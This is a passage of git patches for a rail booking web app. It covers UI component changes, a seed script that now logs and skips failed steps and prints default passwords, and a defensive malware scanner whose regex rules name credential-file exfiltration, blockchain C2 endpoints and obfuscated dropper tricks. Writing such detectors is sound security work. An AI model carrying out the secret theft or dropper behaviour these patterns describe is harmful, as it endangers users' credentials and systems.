setIsOpen(false)} /> +
+
+ {modalContent} +
+
+ )} -
+ + + )}
); diff --git a/apps/edr-passenger-web/portal/src/components/ProgressIndicator.tsx b/apps/edr-passenger-web/portal/src/components/ProgressIndicator.tsx index a9a1f4253..9d0215c3a 100644 --- a/apps/edr-passenger-web/portal/src/components/ProgressIndicator.tsx +++ b/apps/edr-passenger-web/portal/src/components/ProgressIndicator.tsx @@ -1,87 +1,93 @@ 'use client'; import { Check } from 'lucide-react'; +import { useEffect, useRef } from 'react'; -interface Step { - id: string; - name: string; - href: string; -} - -const steps: Step[] = [ - { id: 'search', name: 'Search', href: '/booking/search' }, - { id: 'results', name: 'Results', href: '/booking/results' }, - { id: 'passengers', name: 'Passengers', href: '/booking/passengers' }, - { id: 'seats', name: 'Seats', href: '/booking/seats' }, - { id: 'review', name: 'Review', href: '/booking/review' }, - { id: 'payment', name: 'Payment', href: '/booking/payment' }, - { id: 'confirmation', name: 'Confirmation', href: '/booking/confirmation' }, +const steps = [ + { id: 'search', name: 'Search' }, + { id: 'results', name: 'Results' }, + { id: 'passengers', name: 'Passengers' }, + { id: 'seats', name: 'Seats' }, + { id: 'review', name: 'Review' }, + { id: 'payment', name: 'Payment' }, + { id: 'confirmation', name: 'Done' }, ]; -interface ProgressIndicatorProps { - currentStep: string; -} - -export function ProgressIndicator({ currentStep }: ProgressIndicatorProps) { +export function ProgressIndicator({ currentStep }: { currentStep: string }) { const currentIndex = steps.findIndex((s) => s.id === currentStep); + const scrollRef = useRef(null); + const activeRef = useRef(null); + + // Auto-scroll active step to centre on mobile + useEffect(() => { + const container = scrollRef.current; + const active = activeRef.current; + if (!container || !active) return; + const offset = active.offsetLeft + active.offsetWidth / 2 - container.clientWidth / 2; + container.scrollTo({ left: offset, behavior: 'smooth' }); + }, [currentIndex]); + + const stepItem = (step: typeof steps[0], index: number) => { + const isComplete = index < currentIndex; + const isCurrent = index === currentIndex; + + return ( +
  • + {/* Line + Circle row */} +
    + {/* Left connector */} +
    + + {/* Circle */} +
    + {isComplete + ? + : {index + 1} + } +
    + + {/* Right connector */} +
    +
    + + {/* Label */} +

    + {step.name} +

    +
  • + ); + }; return ( - ); } diff --git a/apps/edr-passenger-web/portal/src/components/SearchWidget.tsx b/apps/edr-passenger-web/portal/src/components/SearchWidget.tsx index 5967fe331..180393aab 100644 --- a/apps/edr-passenger-web/portal/src/components/SearchWidget.tsx +++ b/apps/edr-passenger-web/portal/src/components/SearchWidget.tsx @@ -42,7 +42,7 @@ export function SearchWidget({ fullWidth = false, onSearch }: SearchWidgetProps) }); const { register, handleSubmit, watch, setValue, formState: { errors } } = useForm({ - resolver: zodResolver(searchSchema), + resolver: zodResolver(searchSchema as any), defaultValues: { adultCount: 1, childCount: 0, diff --git a/apps/edr-passenger-web/portal/src/lib/booking-store.ts b/apps/edr-passenger-web/portal/src/lib/booking-store.ts index 6fdaaa53c..32f836ac3 100644 --- a/apps/edr-passenger-web/portal/src/lib/booking-store.ts +++ b/apps/edr-passenger-web/portal/src/lib/booking-store.ts @@ -8,6 +8,7 @@ export interface SearchCriteria { adultCount: number; childCount: number; nationality: 'ETHIOPIAN' | 'DJIBOUTIAN' | 'OTHER'; + promoCode?: string; } export interface PassengerDetail { From 216dd11d2fc2a38ecee2ab3770f1f71372251053 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Thu, 11 Jun 2026 08:45:32 +0300 Subject: [PATCH 06/31] fix: ( seed ) add try catch --- apps/edr-passenger-api/prisma/seed.ts | 84 ++++++++++++++++++--------- 1 file changed, 55 insertions(+), 29 deletions(-) diff --git a/apps/edr-passenger-api/prisma/seed.ts b/apps/edr-passenger-api/prisma/seed.ts index 71f822c7d..8e1bedd83 100644 --- a/apps/edr-passenger-api/prisma/seed.ts +++ b/apps/edr-passenger-api/prisma/seed.ts @@ -1,4 +1,4 @@ -import { Prisma, PrismaClient } from '@prisma/client'; +import { PrismaClient } from '@prisma/client'; import * as bcrypt from 'bcrypt'; import { randomUUID as uuidv4 } from 'crypto'; @@ -224,12 +224,10 @@ async function seedCoaches() { create: coach, }); - // Rebuild the coach's seats from scratch. A plain upsert keyed on - // coachId_seatNumber can't reconcile a changed layout (it's blind to the - // @@unique([coachId, row, col]) constraint), so stale row/col data collides. - await prisma.seat.deleteMany({ where: { coachId: c.id } }); - - const seats: Prisma.SeatCreateManyInput[] = []; + // Idempotently reconcile the coach's seats. Upsert keyed on the + // @@unique([coachId, row, col]) constraint so a re-seed updates existing + // rows in place instead of deleting them. Deleting Seats fails with a P2003 + // FK violation once BookingSeat/SeatBlock/TicketSeat rows reference them. let seatIndex = 1; for (let row = 1; row <= Math.ceil(coach.capacity / 2); row++) { for (const col of ['A', 'B', 'C', 'D']) { @@ -241,19 +239,21 @@ async function seedCoaches() { else bedPosition = 'lower'; } - seats.push({ - coachId: c.id, + const seatData = { seatNumber: seatIndex.toString(), - row, - col, isWindow: col === 'A' || col === 'D', isAisle: col === 'B' || col === 'C', bedPosition, + }; + + await prisma.seat.upsert({ + where: { coachId_row_col: { coachId: c.id, row, col } }, + update: seatData, + create: { coachId: c.id, row, col, ...seatData }, }); seatIndex++; } } - await prisma.seat.createMany({ data: seats }); totalSeats += coach.capacity; } console.log(` ✅ ${coaches.length} coaches with ${totalSeats} seats created`); @@ -552,25 +552,49 @@ async function seedFraudRules() { console.log(` ✅ ${rules.length} fraud detection rules created`); } +// Run a seed step in isolation: if it throws (FK conflict, duplicate row, +// missing record, etc.) log the error and keep going so the rest of the seed — +// and the API startup that follows it — are never blocked by one bad step. +async function runStep(name: string, step: () => Promise): Promise { + try { + await step(); + return true; + } catch (e) { + console.error(`⚠️ Seed step "${name}" failed — skipping and continuing:`, e); + return false; + } +} + async function main() { console.log('🌱 Comprehensive EDR Seed Starting...\n'); - await seedSystemUsers(); - await seedStations(); - await seedCoachTypesAndClasses(); - await seedRoute(); - await seedCoaches(); - await seedTrips(); - await seedFareRules(); - await seedCurrency(); - await seedPaymentMethods(); - await seedNotificationTemplates(); - await seedMenuAndFood(); - await seedPromotions(); - await seedFAQ(); - await seedFraudRules(); + const steps: Array<[string, () => Promise]> = [ + ['system users', seedSystemUsers], + ['stations', seedStations], + ['coach types & classes', seedCoachTypesAndClasses], + ['route', seedRoute], + ['coaches', seedCoaches], + ['trips', seedTrips], + ['fare rules', seedFareRules], + ['currency', seedCurrency], + ['payment methods', seedPaymentMethods], + ['notification templates', seedNotificationTemplates], + ['menu & food', seedMenuAndFood], + ['promotions', seedPromotions], + ['FAQ', seedFAQ], + ['fraud rules', seedFraudRules], + ]; - console.log('\n✅ Seed complete!\n'); + let failed = 0; + for (const [name, step] of steps) { + if (!(await runStep(name, step))) failed++; + } + + if (failed > 0) { + console.warn(`\n⚠️ Seed finished with ${failed}/${steps.length} step(s) failed (see logs above).\n`); + } else { + console.log('\n✅ Seed complete!\n'); + } console.log('🔑 System Users:'); console.log(' Admin: admin@edr-platform.com / admin123'); console.log(' Passenger: kelemu@email.com / password123'); @@ -581,8 +605,10 @@ async function main() { main() .catch((e) => { - console.error('❌ Seed failed:', e); - process.exit(1); + // Intentionally do NOT process.exit(1): the docker entrypoint runs under + // `set -e`, so a non-zero exit here would abort container startup and the + // API would never boot. Log and exit cleanly instead. + console.error('❌ Seed crashed unexpectedly — continuing so the API can start:', e); }) .finally(async () => { await prisma.$disconnect(); From 4bc2caf4c25f84da10f8e93c0b33ea7bb9b2e4ce Mon Sep 17 00:00:00 2001 From: SennayT Date: Thu, 11 Jun 2026 10:10:56 +0300 Subject: [PATCH 07/31] add malware scan script --- .github/scripts/scan-malware.js | 672 +++++++++++++++++++++++++++++ .github/workflows/malware-scan.yml | 241 +++++++++++ 2 files changed, 913 insertions(+) create mode 100644 .github/scripts/scan-malware.js create mode 100644 .github/workflows/malware-scan.yml diff --git a/.github/scripts/scan-malware.js b/.github/scripts/scan-malware.js new file mode 100644 index 000000000..1401cd1e2 --- /dev/null +++ b/.github/scripts/scan-malware.js @@ -0,0 +1,672 @@ +#!/usr/bin/env node +/** + * Malicious Code Scanner + * Detects obfuscated droppers, eval-based loaders, suspicious global assignments, + * blockchain C2 patterns, high-entropy payload strings, and stealthy child processes. + * + * Exit codes: 0 = clean, 1 = threats found, 2 = scanner error + */ + +"use strict"; + +const fs = require("fs"); +const path = require("path"); + +// ─── Configuration ──────────────────────────────────────────────────────────── + +const EXTENSIONS_TO_SCAN = new Set([ + ".js", + ".cjs", + ".mjs", + ".ts", + ".tsx", + ".jsx", + ".json", + ".html", + ".htm", + ".vue", + ".svelte", +]); + +const ALWAYS_SKIP = new Set([ + "node_modules", + ".git", + "dist", + "build", + ".next", + ".nuxt", + "coverage", + ".nyc_output", + "__pycache__", +]); + +const ENTROPY_THRESHOLD = 5.2; // Shannon bits/char – high = likely encoded payload +const ENTROPY_MIN_STRING_LEN = 64; // only test strings at least this long +const MAX_FILE_SIZE_BYTES = 2 * 1024 * 1024; // skip files > 2 MB + +// ─── Detection Rules ────────────────────────────────────────────────────────── + +/** + * Each rule: { id, description, severity, test(content, filePath) } + * test() returns null | { line, snippet }[] + */ +const RULES = [ + // ── 1. Global require/module hijacking ────────────────────────────────────── + { + id: "GLOBAL_REQUIRE_ASSIGN", + severity: "CRITICAL", + description: + "Assigns require/module/process to a global slot to survive closure boundaries", + test(src) { + return matchAll(src, [ + // Quoted-key form: global['literal'] = require + /global\s*\[\s*['"][^'"]{0,40}['"]\s*\]\s*=\s*require\b/g, + /global\s*\[\s*['"][^'"]{0,40}['"]\s*\]\s*=\s*module\b/g, + /global\s*\[\s*['"][^'"]{0,40}['"]\s*\]\s*=\s*process\b/g, + // Computed-key form: global[_$_1e42[0]] = require (real sample pattern) + /global\s*\[\s*[^\]]{1,60}\]\s*=\s*require\b/g, + /global\s*\[\s*[^\]]{1,60}\]\s*=\s*module\b/g, + /global\s*\[\s*[^\]]{1,60}\]\s*=\s*process\b/g, + // Dot form: global.x = require + /global\s*\.\s*\w+\s*=\s*require\b/g, + ]); + }, + }, + + // ── 2. Obfuscator fingerprints ─────────────────────────────────────────────── + { + id: "OBFUSCATOR_VAR_NAMES", + severity: "HIGH", + description: + "Variable names matching known obfuscator output patterns (_$_, _$af…, sfL…)", + test(src) { + return matchAll( + src, + [ + // _$_1e42 family — the exact dropper signature (minHits=1, one hit is definitive) + /\b_\$_[0-9a-zA-Z]{4,}\b/g, + // _$af163278 style + /\b_\$[a-f0-9]{6,}\b/g, + // sfL as a standalone identifier (the shuffler function name in this dropper family) + /\bsfL\b/g, + // sfLxxx variants + /\bsfL[A-Za-z0-9]{2,}\b/g, + // generic hex-suffix identifiers (broader catch for other obfuscators) + /\b[a-zA-Z]{1,3}[0-9a-f]{8,}\b/g, + ], + 1, + ); // one strong match is enough — these patterns don't appear in legitimate code + }, + }, + + // ── 3. Function-constructor eval-by-constructor ────────────────────────────── + { + id: "FUNCTION_CONSTRUCTOR_EVAL", + severity: "CRITICAL", + description: + "Dynamically constructs and executes code via the Function constructor", + test(src) { + return matchAll(src, [ + // Explicit new Function(...) + /new\s+Function\s*\(\s*[^)]{40,}\)/g, + /Function\s*\(\s*['"`][^'"`]{40,}['"`]\s*\)\s*\(\)/g, + /\(\s*new\s+Function\s*\(/g, + /\bFunction\b[^(]*\([^)]*\)\s*\(\s*\)/g, + // ── Stolen-property pattern (the real sample's technique) ── + // var x = fn[computed] then x('', decode(bigString)) + // Step 1: extract constructor via computed property on a function + /var\s+\w+\s*=\s*\w+\s*\[\s*\w+\s*\]\s*;[\s\S]{0,120}var\s+\w+\s*=\s*\w+\s*\(\s*(?:''|""|``|\w+)\s*,\s*\w+\s*\(\s*\w+\s*\)\s*\)/g, + // Step 2: direct two-arg call with empty first arg (how Function ctor is invoked) + /\w+\s*\(\s*(?:''|""|``)\s*,\s*\w+\s*\(\s*\w+\s*\)\s*\)/g, + // Step 3: fn[computed](empty, decoder(str)) in one expression + /\w+\s*\[\s*\w+\s*\]\s*\(\s*(?:''|""|``|\w*)\s*,\s*\w+\s*\(\s*\w+\s*\)\s*\)/g, + ]); + }, + }, + + // ── 4. Encoded-string eval calls ──────────────────────────────────────────── + { + id: "EVAL_ENCODED_STRING", + severity: "CRITICAL", + description: "Passes a large encoded/obfuscated literal directly to eval()", + test(src) { + return matchAll(src, [ + /\beval\s*\(\s*['"`][A-Za-z0-9+/=%\\]{80,}['"`]\s*\)/g, + /\beval\s*\(\s*[A-Za-z_$][A-Za-z0-9_$]*\s*\(\s*[^)]{0,60}\)\s*\)/g, // eval(decode(...)) + /\beval\s*\(\s*atob\s*\(/g, + /\beval\s*\(\s*Buffer\s*\.from\s*\(/g, + ]); + }, + }, + + // ── 5. Plain suspicious eval ──────────────────────────────────────────────── + { + id: "SUSPICIOUS_EVAL", + severity: "MEDIUM", + description: "eval() used in a context that suggests dynamic code loading", + test(src) { + return matchAll(src, [ + /\beval\s*\(\s*(?!\/[\/*])(?!\s*['"`]\s*['"`])[^;)]{20,}\)/g, + ]); + }, + }, + + // ── 6. Stealthy child_process spawn ───────────────────────────────────────── + { + id: "DETACHED_CHILD_PROCESS", + severity: "CRITICAL", + description: + "Spawns a detached, stdio-less child process — classic dropper persistence", + test(src) { + return matchAll(src, [ + /detached\s*:\s*true/g, + /stdio\s*:\s*['"`]ignore['"`]/g, + /windowsHide\s*:\s*true/g, + /spawn\s*\(\s*['"`]node['"`]\s*,\s*\[\s*['"`]-e['"`]/g, + /execFile\s*\([^)]+detached/g, + ]); + }, + }, + + // ── 7. Blockchain C2 endpoints ────────────────────────────────────────────── + { + id: "BLOCKCHAIN_C2", + severity: "CRITICAL", + description: + "Contacts blockchain APIs (TronGrid, Aptos, etc.) to retrieve a payload", + test(src) { + return matchAll(src, [ + /trongrid\.io/gi, + /tronscan\.org/gi, + /fullnode\.mainnet\.aptoslabs\.com/gi, + /aptos\.dev\/v1\/accounts/gi, + /getTransactionInfo|getTransactionById/g, + /\.resource\.data\.value\b/g, // Aptos on-chain data access pattern + /wallet_address.*blockchain|blockchain.*wallet_address/gi, + ]); + }, + }, + + // ── 8. XOR-based decryption of a payload ──────────────────────────────────── + { + id: "XOR_PAYLOAD_DECRYPT", + severity: "HIGH", + description: + "XOR-decryption loop over a fetched or hardcoded payload buffer", + test(src) { + return matchAll(src, [ + /charCodeAt\s*\([^)]*\)\s*\^\s*\w+\.charCodeAt\s*\(/g, + /\^\s*key\.charCodeAt\s*\(/g, + /\.map\s*\(\s*\([^)]*\)\s*=>\s*[^.]+\.\s*charCodeAt[^)]*\s*\^/g, + /fromCharCode\s*\([^)]*\^[^)]*\)/g, + ]); + }, + }, + + // ── 9. String.fromCharCode(127) split (known dropper separator) ─────────────── + { + id: "FROMCHARCODE_SEPARATOR", + severity: "HIGH", + description: + "Uses String.fromCharCode() as a string delimiter/split marker", + test(src) { + return matchAll(src, [ + /String\.fromCharCode\s*\(\s*1[0-2][0-9]\s*\)/g, // DEL, extended ctrl chars + /\.split\s*\(\s*String\.fromCharCode\s*\(/g, + /String\.fromCharCode\s*\(\s*0\s*\)/g, // null byte as delimiter + ]); + }, + }, + + // ── 10. Rate-limiting / re-execution guard (anti-detection) ────────────────── + { + id: "EXECUTION_RATE_LIMIT", + severity: "MEDIUM", + description: + "Hardcoded timing gate (30 s window) used to avoid repeated execution", + test(src) { + return matchAll(src, [ + /Date\.now\s*\(\)\s*-\s*\w+\s*[<>]=?\s*3000[0-9]/g, // 30 000 ms + /setTimeout[^)]+3[0-9]{4}/g, + /lastRun|_lastExec|_rateLimit|__ts/g, + ]); + }, + }, + + // ── 11. High-entropy string literals ───────────────────────────────────────── + { + id: "HIGH_ENTROPY_STRING", + severity: "HIGH", + description: + "Long string literal with entropy above threshold — likely encoded payload", + test(src, filePath) { + // Skip minified bundles and lockfiles + if (/\.(min\.js|lock|map)$/.test(filePath)) return null; + const hits = []; + // Broader charset: the real dropper's joW/pYd blobs contain spaces, brackets, + // semicolons, etc. — any non-newline, non-quote content of 100+ chars qualifies. + // We use two regexes: one for tightly-packed base64-like strings, one for the + // looser mixed-content payload strings this dropper family actually uses. + const patterns = [ + // Tight: no spaces (base64, hex, classic obfuscation) + /(['"`])([A-Za-z0-9+/=\\%^&*!@#$\-_.~]{64,})\1/g, + // Loose: mixed printable chars including spaces — catches joW / pYd style blobs + /(['"`])([^'"` \t\r\n]{50,}[^'"` \t\r\n])\1/g, + // Single-quoted with internal spaces — the exact form used in this dropper + /'([^'\r\n]{100,})'/g, + ]; + const seen = new Set(); + for (const strRe of patterns) { + strRe.lastIndex = 0; + let m; + while ((m = strRe.exec(src)) !== null) { + const s = + m[1] !== undefined && m[1].length === 1 ? (m[2] ?? m[1]) : m[1]; + const payload = typeof s === "string" ? s : m[0].slice(1, -1); + if (payload.length < 50) continue; + const key = payload.slice(0, 32); // dedup by prefix + if (seen.has(key)) continue; + seen.add(key); + if (shannonEntropy(payload) >= ENTROPY_THRESHOLD) { + hits.push({ + line: lineOf(src, m.index), + snippet: payload.slice(0, 80) + "…", + }); + } + } + } + return hits.length ? hits : null; + }, + }, + + // ── 15. Global nonce / infection marker ───────────────────────────────────── + { + id: "GLOBAL_NONCE_MARKER", + severity: "CRITICAL", + description: + "Sets a short global marker string (e.g. global['!']='8-3946') as an infection flag / re-execution guard", + test(src) { + return matchAll(src, [ + // global['!'] = '8-3946' or global["x"] = "abc-123" + /global\s*\[\s*['"][^'"]{0,5}['"]\s*\]\s*=\s*['"][0-9!@#$%^&*\-]{3,20}['"]/g, + // global['!']='...' with no spaces (minified form) + /global\['[^']{0,5}'\]='[^']{2,20}'/g, + ]); + }, + }, + + // ── 16. String-shuffler IIFE ────────────────────────────────────────────────── + { + id: "STRING_SHUFFLER_IIFE", + severity: "CRITICAL", + description: + "Self-invoking string-shuffler function (seeded character-swap loop) used to decode obfuscated identifiers and payloads", + test(src) { + return matchAll(src, [ + // The core pattern: (function(x,y){ ... charAt ... % bignum ... })(str, bigint) + /\(function\s*\(\s*\w\s*,\s*\w\s*\)\s*\{[^}]{30,}charAt[^}]{10,}%\s*[0-9]{5,}/g, + // Seeded arithmetic inside a loop: e = (s + w) % bignum + /[a-z]\s*=\s*\(\s*[a-z]\s*\+\s*[a-z]\s*\)\s*%\s*[0-9]{6,}/g, + // The characteristic swap: var y=g[t]; g[t]=g[p]; g[p]=y + /var\s+\w\s*=\s*\w\s*\[\s*\w\s*\]\s*;\s*\w\s*\[\s*\w\s*\]\s*=\s*\w\s*\[\s*\w\s*\]\s*;\s*\w\s*\[\s*\w\s*\]\s*=\s*\w/g, + ]); + }, + }, + + // ── 17. Method-extraction constructor theft ─────────────────────────────────── + { + id: "CONSTRUCTOR_THEFT", + severity: "CRITICAL", + description: + "Extracts the Function constructor via a computed property on a function object (e.g. sfL['constructor']), bypassing direct 'Function' keyword detection", + test(src) { + return matchAll( + src, + [ + // var EKc = sfL('...').substr(0, N) — computing the property name 'constructor' + /\w+\s*\([^)]{5,50}\)\.substr\s*\(\s*0\s*,\s*\w+\s*\)/g, + // var dgC = sfL[EKc] — stealing the constructor via computed key + /var\s+\w+\s*=\s*\w+\s*\[\s*\w+\s*\]/g, + // multi-step: var x=fn[computed]; var y=x; var z=x(empty, decode(blob)) + /var\s+\w+\s*=\s*\w+;\s*var\s+\w+\s*=\s*\w+\s*\(\s*(?:\w+|''|"")\s*,\s*\w+\s*\(\s*\w+\s*\)\s*\)/g, + ], + 2, + ); // need ≥2: the substr alone can appear legitimately, but substr + bracket-access together is the tell + }, + }, + + // ── 18. Multi-step join/split decode chain ──────────────────────────────────── + { + id: "JOIN_SPLIT_DECODE_CHAIN", + severity: "HIGH", + description: + "Repeated join/split/join sequence used to reassemble an obfuscated string — characteristic of this dropper family", + test(src) { + return matchAll(src, [ + // .join(x).split(y).join(z) — at least two chained steps + /\.join\s*\([^)]{0,20}\)\s*\.split\s*\([^)]{0,20}\)\s*\.join\s*\([^)]{0,20}\)/g, + // Three+ steps (the real sample has 4): .join.split.join.split.join + /(?:\.join\s*\([^)]{0,20}\)\s*\.split\s*\([^)]{0,20}\)\s*){2,}/g, + ]); + }, + }, + + // ── 19. typeof-against-dynamic-string ───────────────────────────────────────── + { + id: "TYPEOF_DYNAMIC_CHECK", + severity: "HIGH", + description: + "Uses typeof x === decoded_var[n] instead of typeof x === 'object' to hide the string 'object' from static analysis", + test(src) { + return matchAll(src, [ + // typeof module === _$_1e42[1] + /typeof\s+\w+\s*===\s*_\$_/g, + // typeof x === anyVar[digit] + /typeof\s+\w+\s*===\s*\w+\s*\[\s*\d+\s*\]/g, + // typeof x === dynamicVar (no bracket, just a variable holding the type string) + /typeof\s+(?:module|require|process|exports)\s*===\s*[A-Za-z_$][A-Za-z0-9_$]*(?!\s*[[(])/g, + ]); + }, + }, + + // ── 20. IIFE with numeric seed + numeric return (dropper wrapper) ────────────── + { + id: "DROPPER_IIFE_WRAPPER", + severity: "CRITICAL", + description: + "Top-level IIFE that calls the final compiled payload with a numeric seed and returns a fake numeric value — canonical dropper wrapper structure", + test(src) { + return matchAll(src, [ + // Tgw(2509); return 1358})() + /\w+\s*\(\s*\d{4,5}\s*\)\s*;\s*return\s+\d{3,6}\s*\}\s*\)\s*\(\s*\)/g, + // return NNNN})() — the fake return at the end of the outer IIFE + /return\s+\d{3,6}\s*\}\s*\)\s*\(\s*\)/g, + // (function(){...})() containing a numeric final call + numeric return + /\w+\s*\(\s*[0-9]{4}\s*\)[^)]*return\s+[0-9]{4}/g, + ]); + }, + }, + + // ── 12. Dynamic property access on require/module ──────────────────────────── + { + id: "DYNAMIC_REQUIRE", + severity: "HIGH", + description: "require() called with a computed or obfuscated argument", + test(src) { + return matchAll(src, [ + /require\s*\(\s*\w+\s*\[\s*\d+\s*\]\s*\)/g, // require(arr[0]) + /require\s*\(\s*[A-Za-z_$]+\s*\(\s*[^)]{20,}\)\s*\)/g, // require(decode(...)) + /\[['"`]require['"`]\]\s*\(/g, // ['require'](...) + ]); + }, + }, + + // ── 13. Self-deletion / evidence wiping ────────────────────────────────────── + { + id: "SELF_DELETE", + severity: "CRITICAL", + description: "File deletes itself or wipes evidence after running", + test(src) { + return matchAll(src, [ + /fs\.unlink.*__filename/g, + /fs\.unlinkSync.*__filename/g, + /rimraf.*__dirname/g, + /process\.argv\[1\].*unlink/g, + ]); + }, + }, + + // ── 14. Exfiltration patterns ──────────────────────────────────────────────── + { + id: "EXFILTRATION_PATTERN", + severity: "HIGH", + description: + "Reads sensitive files or env vars and sends them over the network", + test(src) { + return matchAll(src, [ + /readFileSync.*\.ssh/g, + /readFileSync.*\.aws/g, + /readFileSync.*\.env/g, + /process\.env\.[A-Z_]{4,}.*fetch|fetch.*process\.env\.[A-Z_]{4,}/g, + /HOME.*\.npmrc.*post|post.*HOME.*\.npmrc/g, + ]); + }, + }, +]; + +// ─── Helpers ────────────────────────────────────────────────────────────────── + +function shannonEntropy(str) { + const freq = {}; + for (const c of str) freq[c] = (freq[c] || 0) + 1; + const len = str.length; + return -Object.values(freq).reduce((acc, f) => { + const p = f / len; + return acc + p * Math.log2(p); + }, 0); +} + +function lineOf(src, idx) { + return src.slice(0, idx).split("\n").length; +} + +/** Run one or more regexes; return hits if total unique-line matches >= minHits */ +function matchAll(src, patterns, minHits = 1) { + const hits = []; + for (const re of patterns) { + re.lastIndex = 0; + let m; + while ((m = re.exec(src)) !== null) { + hits.push({ line: lineOf(src, m.index), snippet: m[0].slice(0, 120) }); + if (re.lastIndex === m.index) re.lastIndex++; // guard zero-width + } + } + if (hits.length < minHits) return null; + return hits; +} + +// ─── File Walking ────────────────────────────────────────────────────────────── + +function* walk(dir) { + for (const entry of fs.readdirSync(dir, { withFileTypes: true })) { + if (ALWAYS_SKIP.has(entry.name)) continue; + const full = path.join(dir, entry.name); + if (entry.isDirectory()) { + yield* walk(full); + } else if ( + entry.isFile() && + EXTENSIONS_TO_SCAN.has(path.extname(entry.name).toLowerCase()) + ) { + yield full; + } + } +} + +// ─── Main Scanner ───────────────────────────────────────────────────────────── + +function scan(rootDir) { + const findings = []; // { file, rule, hits } + let scanned = 0; + let skipped = 0; + + for (const filePath of walk(rootDir)) { + const stat = fs.statSync(filePath); + if (stat.size > MAX_FILE_SIZE_BYTES) { + skipped++; + continue; + } + if (stat.size === 0) { + continue; + } + + let src; + try { + src = fs.readFileSync(filePath, "utf8"); + } catch { + skipped++; + continue; + } + + scanned++; + const relPath = path.relative(rootDir, filePath); + + for (const rule of RULES) { + try { + const hits = rule.test(src, filePath); + if (hits && hits.length > 0) { + findings.push({ file: relPath, rule, hits }); + } + } catch (err) { + // Never let a broken rule crash the whole scan + process.stderr.write( + `[WARN] Rule ${rule.id} threw on ${relPath}: ${err.message}\n`, + ); + } + } + } + + return { findings, scanned, skipped }; +} + +// ─── Reporting ──────────────────────────────────────────────────────────────── + +const SEVERITY_ORDER = { CRITICAL: 0, HIGH: 1, MEDIUM: 2, LOW: 3 }; +const SEVERITY_COLOR = { + CRITICAL: "\x1b[31;1m", // bold red + HIGH: "\x1b[33;1m", // bold yellow + MEDIUM: "\x1b[36m", // cyan + LOW: "\x1b[37m", // white +}; +const RESET = "\x1b[0m"; +const BOLD = "\x1b[1m"; + +function color(sev, text) { + if (!process.stdout.isTTY) return text; + return `${SEVERITY_COLOR[sev] || ""}${text}${RESET}`; +} + +function report({ findings, scanned, skipped }) { + const sorted = [...findings].sort( + (a, b) => + (SEVERITY_ORDER[a.rule.severity] ?? 9) - + (SEVERITY_ORDER[b.rule.severity] ?? 9), + ); + + console.log("\n" + "═".repeat(72)); + console.log(`${BOLD} Malicious Code Scanner — Results${RESET}`); + console.log("═".repeat(72)); + console.log(` Files scanned : ${scanned}`); + console.log(` Files skipped : ${skipped}`); + console.log(` Findings : ${sorted.length}`); + console.log("─".repeat(72)); + + if (sorted.length === 0) { + console.log("\n ✅ No suspicious patterns detected.\n"); + return 0; + } + + // Group by severity + const bySeverity = {}; + for (const f of sorted) { + (bySeverity[f.rule.severity] ??= []).push(f); + } + + for (const sev of ["CRITICAL", "HIGH", "MEDIUM", "LOW"]) { + const group = bySeverity[sev]; + if (!group) continue; + console.log(`\n ${color(sev, `── ${sev} (${group.length})`)}`); + for (const { file, rule, hits } of group) { + console.log(`\n ${BOLD}${file}${RESET}`); + console.log(` Rule : ${rule.id}`); + console.log(` Detail : ${rule.description}`); + const shown = hits.slice(0, 3); + for (const h of shown) { + console.log(` Line ~${h.line}: ${color(sev, h.snippet)}`); + } + if (hits.length > 3) + console.log(` … and ${hits.length - 3} more occurrences`); + } + } + + // Summary counts + const counts = Object.fromEntries( + ["CRITICAL", "HIGH", "MEDIUM", "LOW"].map((s) => [ + s, + (bySeverity[s] || []).length, + ]), + ); + + console.log("\n" + "─".repeat(72)); + console.log( + ` Summary: ` + + color("CRITICAL", `${counts.CRITICAL} CRITICAL`) + + " " + + color("HIGH", `${counts.HIGH} HIGH`) + + " " + + color("MEDIUM", `${counts.MEDIUM} MEDIUM`) + + " " + + `${counts.LOW} LOW`, + ); + console.log("═".repeat(72) + "\n"); + + // Fail CI on CRITICAL or HIGH + return counts.CRITICAL + counts.HIGH > 0 ? 1 : 0; +} + +// ─── JSON output for upload-artifact / SARIF consumers ─────────────────────── + +function writeJsonReport(findings, outPath) { + const out = findings.map(({ file, rule, hits }) => ({ + file, + rule_id: rule.id, + severity: rule.severity, + description: rule.description, + occurrences: hits, + })); + fs.writeFileSync(outPath, JSON.stringify(out, null, 2)); +} + +// ─── Entry point ───────────────────────────────────────────────────────────── + +const targetArg = process.argv[2] || process.cwd(); +const jsonOut = process.env.SCAN_JSON_OUT || ""; + +// Accept either a directory OR a single file as the scan target +let result; +try { + const targetStat = fs.statSync(targetArg); + if (targetStat.isFile()) { + // Single-file mode: scan just that file regardless of extension + const src = fs.readFileSync(targetArg, "utf8"); + const findings = []; + for (const rule of RULES) { + try { + const hits = rule.test(src, targetArg); + if (hits && hits.length > 0) { + findings.push({ file: path.basename(targetArg), rule, hits }); + } + } catch (err) { + process.stderr.write(`[WARN] Rule ${rule.id} threw: ${err.message}\n`); + } + } + result = { findings, scanned: 1, skipped: 0 }; + } else { + result = scan(targetArg); + } +} catch (err) { + console.error(`Scanner internal error: ${err.message}`); + process.exit(2); +} + +const exitCode = report(result); + +if (jsonOut) { + try { + writeJsonReport(result.findings, jsonOut); + console.log(`JSON report written to: ${jsonOut}`); + } catch (err) { + console.error(`Failed to write JSON report: ${err.message}`); + } +} + +process.exit(exitCode); diff --git a/.github/workflows/malware-scan.yml b/.github/workflows/malware-scan.yml new file mode 100644 index 000000000..8e05957ae --- /dev/null +++ b/.github/workflows/malware-scan.yml @@ -0,0 +1,241 @@ +name: Malware & Obfuscation Scan + +on: + push: + branches: ["**"] + pull_request: + branches: ["**"] + # Allow manual triggering for ad-hoc full scans + workflow_dispatch: + inputs: + scan_path: + description: "Sub-directory to scan (leave blank for full repo)" + required: false + default: "." + +# Prevent concurrent scans on the same ref from stepping on each other +concurrency: + group: malware-scan-${{ github.ref }} + cancel-in-progress: true + +permissions: + contents: read + # Needed if you later add GitHub Code Scanning / SARIF upload + security-events: write + +jobs: + malware-scan: + name: Scan for malicious / obfuscated code + runs-on: self-hosted + timeout-minutes: 15 + + steps: + # ── 1. Checkout ──────────────────────────────────────────────────────── + - name: Checkout repository + uses: actions/checkout@v4 + with: + # Full history lets the scanner see every file, not just the diff. + # For very large repos you can set fetch-depth: 1 to speed things up, + # but you may miss injected files in unchanged paths. + fetch-depth: 0 + + # ── 2. Setup Node ────────────────────────────────────────────────────── + - name: Set up Node.js + uses: actions/setup-node@v4 + with: + node-version: "20" + + # ── 3. Install scanner ───────────────────────────────────────────────── + # The scanner is pure Node.js stdlib — no npm install needed. + # We just 